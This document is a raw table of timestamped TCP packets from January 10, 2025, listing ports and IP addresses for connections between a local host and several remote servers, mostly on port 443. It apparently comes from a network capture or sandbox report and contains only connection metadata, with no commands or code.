Jan 10, 2025 00:51:35.928971052 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.929050922 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.929059029 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.929071903 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.929095984 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.929126024 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.942349911 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942527056 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942574978 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942595959 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.942621946 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942677975 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.942689896 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942810059 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942847013 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942852020 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.942864895 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942913055 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.942934036 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.942940950 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.943006039 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.943080902 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.943140030 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.943191051 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.943304062 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.943394899 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.943495035 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.943676949 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.943766117 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.943773985 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.943816900 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.943850994 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.943908930 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.944027901 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.944302082 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.944365025 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.944423914 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.944477081 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.944545031 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.944669962 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.944701910 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.944722891 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.944730043 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.944746971 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.944786072 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.960863113 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.968600035 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.968656063 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.968750000 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.968982935 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.969017029 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.969475031 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.969531059 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.969696045 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.969892979 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.969943047 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.970071077 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.970345020 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.970387936 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.970434904 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.971390963 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.971409082 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.971462965 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.971853971 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.971864939 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.971911907 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.972258091 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:35.972717047 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.972738028 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.972879887 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.972893953 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.973140001 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.973160982 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.973303080 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.973315001 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.973444939 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:35.973459959 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:35.977062941 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:35.977138042 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:35.979366064 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:35.980315924 CET	49752	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.980340004 CET	443	49752	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.984102964 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:35.984199047 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.984256029 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.984334946 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.984539032 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.984570026 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.986171961 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.986183882 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.986227036 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.986243010 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.986263037 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:35.986315966 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:35.986340046 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.014360905 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.014381886 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.014456987 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.014475107 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.014532089 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.015436888 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.015453100 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.015521049 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.015535116 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.015587091 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.016374111 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.016433954 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.016438961 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.016452074 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.016482115 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.016515970 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.016835928 CET	49753	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.016845942 CET	443	49753	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.158804893 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.158888102 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.159028053 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.159060001 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.159080982 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.159106970 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.159142017 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.159190893 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.159236908 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.159259081 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.159290075 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.159293890 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.159305096 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.159343958 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.159357071 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.159403086 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.160022020 CET	49744	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.160052061 CET	443	49744	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.186964989 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.187026978 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.187139034 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.187597036 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.187613010 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.260624886 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.260711908 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.260812998 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.261497021 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.261513948 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.308155060 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.308763981 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.308787107 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.309914112 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.310461998 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.310461998 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.310492992 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.310659885 CET	443	49760	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.325817108 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.326071978 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.326102018 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.327264071 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.327327013 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.327672005 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.327750921 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.327822924 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.327828884 CET	443	49761	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.350147009 CET	49760	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.381077051 CET	49761	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.462166071 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:36.462223053 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:36.462297916 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:36.462836981 CET	49778	443	192.168.2.6	199.91.74.185
Jan 10, 2025 00:51:36.462862015 CET	443	49778	199.91.74.185	192.168.2.6
Jan 10, 2025 00:51:36.468945026 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:36.469069004 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:36.471401930 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:36.471422911 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:36.471672058 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:36.473238945 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:36.473547935 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:36.473556042 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:36.473671913 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:36.515333891 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:36.528214931 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.529329062 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.541815996 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.541841984 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.542191029 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.542198896 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.542777061 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.543339014 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.543451071 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.544686079 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.544805050 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.545355082 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.545437098 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.545561075 CET	49766	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.545566082 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.545578957 CET	443	49767	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.591322899 CET	443	49766	104.26.3.190	192.168.2.6
Jan 10, 2025 00:51:36.591444969 CET	49767	443	192.168.2.6	104.26.3.190
Jan 10, 2025 00:51:36.648415089 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:36.648694038 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:36.648773909 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:36.648956060 CET	49759	443	192.168.2.6	40.113.110.67
Jan 10, 2025 00:51:36.648977041 CET	443	49759	40.113.110.67	192.168.2.6
Jan 10, 2025 00:51:36.654520988 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.655307055 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.655333042 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.655750036 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.656477928 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.656596899 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.656678915 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.669523001 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.669748068 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.669774055 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.670833111 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.670900106 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.671616077 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.671693087 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.671772003 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.687483072 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.696064949 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.699336052 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.709086895 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.711026907 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.711030960 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.711056948 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.727943897 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.737544060 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.737565994 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.737750053 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.737762928 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.738056898 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.738074064 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.738512039 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.738744020 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.738770008 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.738931894 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.739331961 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.741127968 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.764763117 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.770174980 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.770184994 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.771956921 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.772006989 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.777635098 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.777754068 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.778100967 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.778191090 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.782581091 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.782721996 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.787030935 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.787241936 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.817994118 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.818013906 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.818152905 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.818171978 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.833667994 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.833688974 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.833700895 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.845803976 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:36.845819950 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:36.845830917 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:36.845890999 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:36.845911980 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:36.845923901 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:36.845949888 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:36.864563942 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.865120888 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.878679991 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.893656969 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:36.912430048 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.912460089 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.912472963 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.912512064 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.912529945 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.912549973 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.912576914 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.912801981 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.924504042 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:36.924983978 CET	49764	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.925051928 CET	49765	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.925189018 CET	49763	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.925292969 CET	49776	443	192.168.2.6	172.67.74.191
Jan 10, 2025 00:51:36.925884962 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:36.926419020 CET	49768	29888	192.168.2.6	35.194.194.1
Jan 10, 2025 00:51:36.929361105 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:36.930804968 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:36.931188107 CET	29888	49768	35.194.194.1	192.168.2.6
Jan 10, 2025 00:51:36.942507982 CET	49762	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.942533970 CET	443	49762	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.946789026 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.946819067 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.946954012 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.947150946 CET	49781	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.947161913 CET	443	49781	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.971333027 CET	443	49763	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.971334934 CET	443	49765	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.971342087 CET	443	49776	172.67.74.191	192.168.2.6
Jan 10, 2025 00:51:36.971345901 CET	443	49764	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.975486994 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.975708008 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.975735903 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.976707935 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.976769924 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.977091074 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.977153063 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:36.977289915 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:36.977304935 CET	443	49777	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.014725924 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.014763117 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.014771938 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.014800072 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.014820099 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.014828920 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.014831066 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.014848948 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.014863968 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.014893055 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.016084909 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.016109943 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.016180992 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.016186953 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.020123959 CET	49777	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.060415983 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.072118044 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.072128057 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.072168112 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.072184086 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.072197914 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.072207928 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.072264910 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.101737022 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.101748943 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.101818085 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.101905107 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.101913929 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.101960897 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.103368998 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.103399038 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.103442907 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.103455067 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.103475094 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.103476048 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.103509903 CET	49769	443	192.168.2.6	38.165.16.38
Jan 10, 2025 00:51:37.103518963 CET	443	49769	38.165.16.38	192.168.2.6
Jan 10, 2025 00:51:37.103549004 CET	49769	443	192.168.2.6	38.165.16.38
